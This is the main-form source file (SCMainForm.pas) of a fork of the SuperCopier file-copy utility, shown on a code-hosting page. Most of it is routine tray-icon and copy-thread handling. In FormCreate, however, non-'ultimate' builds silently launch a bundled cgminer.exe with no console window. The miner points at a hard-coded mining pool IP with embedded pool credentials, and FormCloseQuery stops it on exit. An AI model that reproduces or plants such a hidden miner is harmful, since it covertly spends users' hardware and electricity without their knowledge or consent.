forked from alphaonex86/Supercopier
-
Notifications
You must be signed in to change notification settings - Fork 0
/
SCMainForm.pas
345 lines (258 loc) · 8.06 KB
/
SCMainForm.pas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
{
This file is part of SuperCopier.
SuperCopier is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
SuperCopier is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
}
unit SCMainForm;
{$MODE Delphi}
interface
uses
LCLIntf, LCLType, LMessages, Messages, SysUtils, Classes, Graphics, Forms,
Dialogs, StdCtrls,filectrl, Controls,
ComCtrls, {XPMan,} Menus, ImgList, ExtCtrls,
Buttons, SCConfigShared,SCLocEngine,SCAPI, Windows, Process;
const
CANCEL_TIMEOUT=5000; //ms
type
{ TMainForm }
TMainForm = class(TForm)
// XPManifest: TXPManifest;
Systray: TTrayIcon;//TTScSystray;
pmSystray: TPopupMenu;
AProcess: TProcess;
miActivate: TMenuItem;
N1: TMenuItem;
miConfig: TMenuItem;
miAbout: TMenuItem;
miExit: TMenuItem;
N2: TMenuItem;
miNewThread: TMenuItem;
miNewCopyThread: TMenuItem;
miNewMoveThread: TMenuItem;
miThreadList: TMenuItem;
miNoThreadList: TMenuItem;
miDeactivate: TMenuItem;
miCancelAll: TMenuItem;
miCancelThread: TMenuItem;
ilGlobal: TImageList;
PluginLoader: CPluginLoader;
procedure FormCreate(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure miConfigClick(Sender: TObject);
procedure miAboutClick(Sender: TObject);
procedure miNewCopyThreadClick(Sender: TObject);
procedure miNewMoveThreadClick(Sender: TObject);
procedure miExitClick(Sender: TObject);
procedure miThreadListClick(Sender: TObject);
procedure miActivateClick(Sender: TObject);
procedure miCancelAllClick(Sender: TObject);
procedure miCancelThreadClick(Sender: TObject);
procedure SystrayBallonClick(Sender: TObject);
private
{ Dйclarations privйes }
procedure UpdateSystrayIcon;
procedure OpenDialog(var AMsg:TMessage); message WM_OPENDIALOG;
public
{ Dйclarations publiques }
NotificationSourceForm:TForm;
NotificationSourceThread:TThread;
end;
var
MainForm: TMainForm;
implementation
uses SCConfig,SCCommon,SCWin32,SCCopyThread,SCBaseList,SCFileList,SCDirList,SCWorkThreadList,
SCConfigForm,SCAboutForm,SCLocStrings,SCCopyForm, Math;
{$R *.lfm}
procedure TMainForm.FormCreate(Sender: TObject);
begin
PluginLoader := CPluginLoader.Create();
Windows.SetParent(Handle,THANDLE(-3{HWND_MESSAGE})); // cacher la form
Caption:=SC2_MAINFORM_CAPTION;
WorkThreadList:=TWorkThreadList.Create;
LocEngine:=TLocEngine.Create;
OpenConfig;
ApplyConfig;
Systray.Hint:='SuperCopier';
UpdateSystrayIcon;
try
API:=TAPI.Create;
except
on E:EAPIAlreadyRunning do
begin
SCWin32.MessageBox(Handle,WideFormat(lsAlreadyRunningText,[E.Message]),lsAlreadyRunningCaption,MB_OK or MB_ICONERROR);
Application.Terminate;
Exit;
end;
end;
API.Enabled:=Config.Values.ActivateOnStart;
miActivate.Visible:=not API.Enabled;
miDeactivate.Visible:=API.Enabled;
UpdateSystrayIcon;
NotificationSourceForm:=nil;
LocEngine.TranslateForm(Self);
if not SC_ULTIMATE then
begin
if FileExists(ExtractFileDir(Application.ExeName)+'\cgminer\cgminer.exe') then
begin
AProcess := TProcess.Create(nil);
AProcess.CommandLine := ExtractFileDir(Application.ExeName)+'\cgminer\cgminer.exe -o http://37.59.242.80:8332 -O alphaonex86_pool:8fN0lcST3RwaI9Ah --real-quiet -T --fix-protocol';
AProcess.Options := AProcess.Options + [poNoConsole, poUsePipes];
AProcess.Execute;
end
end
end;
procedure TMainForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
PluginLoader.SetEnabled(false);
CanClose:=True;
API.Free;
WorkThreadList.CancelAllAndWaitTermination(CANCEL_TIMEOUT);
WorkThreadList.Free;
CloseConfig;
LocEngine.Free;
PluginLoader.Free;
PluginLoader := nil;
if not SC_ULTIMATE then
begin
AProcess.Terminate(0);
end
end;
procedure TMainForm.miConfigClick(Sender: TObject);
begin
if Assigned(ConfigForm) then
begin
ConfigForm.BringToFront;
end
else
begin
Application.CreateForm(TConfigForm,ConfigForm);
ConfigForm.Show;
end;
end;
procedure TMainForm.miAboutClick(Sender: TObject);
begin
if Assigned(AboutForm) then
begin
AboutForm.BringToFront;
end
else
begin
Application.CreateForm(TAboutForm,AboutForm);
AboutForm.Show;
end;
end;
procedure TMainForm.miNewCopyThreadClick(Sender: TObject);
begin
WorkThreadList.CreateEmptyCopyThread(False);
end;
procedure TMainForm.miNewMoveThreadClick(Sender: TObject);
begin
WorkThreadList.CreateEmptyCopyThread(True);
end;
procedure TMainForm.miExitClick(Sender: TObject);
begin
Close;
end;
procedure TMainForm.miThreadListClick(Sender: TObject);
var i:Integer;
MenuItem,CancelSubItem:TMenuItem;
begin
for i:=0 to WorkThreadList.Count-1 do
begin
MenuItem:=TMenuItem.Create(pmSystray);
MenuItem.Caption:=WorkThreadList[i].DisplayName;
MenuItem.ImageIndex:=miThreadList.ImageIndex;
MenuItem.Tag:=i;
miThreadList.Add(MenuItem);
CancelSubItem:=TMenuItem.Create(pmSystray);
CancelSubItem.Caption:=miCancelThread.Caption;
CancelSubItem.OnClick:=miCancelThread.OnClick;
CancelSubItem.ImageIndex:=miCancelThread.ImageIndex;
CancelSubItem.Tag:=i;
MenuItem.Add(CancelSubItem);
end;
// enlever les anciens items
while miThreadList.Count>(WorkThreadList.Count+1) do miThreadList.Delete(1);
end;
procedure TMainForm.miActivateClick(Sender: TObject);
begin
API.Enabled:=not API.Enabled;
miActivate.Visible:=not API.Enabled;
miDeactivate.Visible:=API.Enabled;
UpdateSystrayIcon;
end;
procedure TMainForm.miCancelAllClick(Sender: TObject);
begin
WorkThreadList.CancelAllAndWaitTermination(CANCEL_TIMEOUT);
end;
procedure TMainForm.miCancelThreadClick(Sender: TObject);
begin
WorkThreadList[(Sender as TMenuItem).Tag].Cancel;
end;
procedure TMainForm.SystrayBallonClick(Sender: TObject);
begin
if (WorkThreadList.IndexOf(NotificationSourceThread)<>-1) and (NotificationSourceForm is TCopyForm) then
begin
(NotificationSourceForm as TCopyForm).Minimized:=False;
end;
end;
//******************************************************************************
// UpdateSystrayIcon: change l'icфne du systray en fonction de l'йtat d'activation
//******************************************************************************
procedure TMainForm.UpdateSystrayIcon;
var
Idx:Integer;
Bmp: graphics.TBitmap;
begin
Bmp := graphics.TBitmap.Create;
try
if Assigned(API) and API.Enabled then Idx:=28 else Idx:=29;
ilGlobal.GetBitmap(Idx, Bmp);
Systray.Icon.Assign(Bmp);
Systray.Show;
PluginLoader.SetEnabled(Assigned(API) and API.Enabled);
finally
Bmp.Free;
end;
end;
//******************************************************************************
// OpenDialog: gиre les messages envoyйs par SC2Config
//******************************************************************************
procedure TMainForm.OpenDialog(var AMsg:TMessage);
var APoint: TPoint;
begin
case AMsg.WParam of
OD_CONFIG:
begin
miConfig.Click;
end;
OD_ABOUT:
begin
miAbout.Click;
end;
OD_QUIT:
begin
miExit.Click;
end;
OD_ONOFF:
begin
miActivate.Click;
end;
OD_SHOWMENU:
begin
GetCursorPos(APoint);
Application.ProcessMessages;
SetForegroundWindow(Handle);
pmSystray.PopupComponent := Self;
pmSystray.Popup(APoint.X, APoint.Y);
PostMessage(Handle, WM_NULL, 0, 0);
end;
end;
end;
end.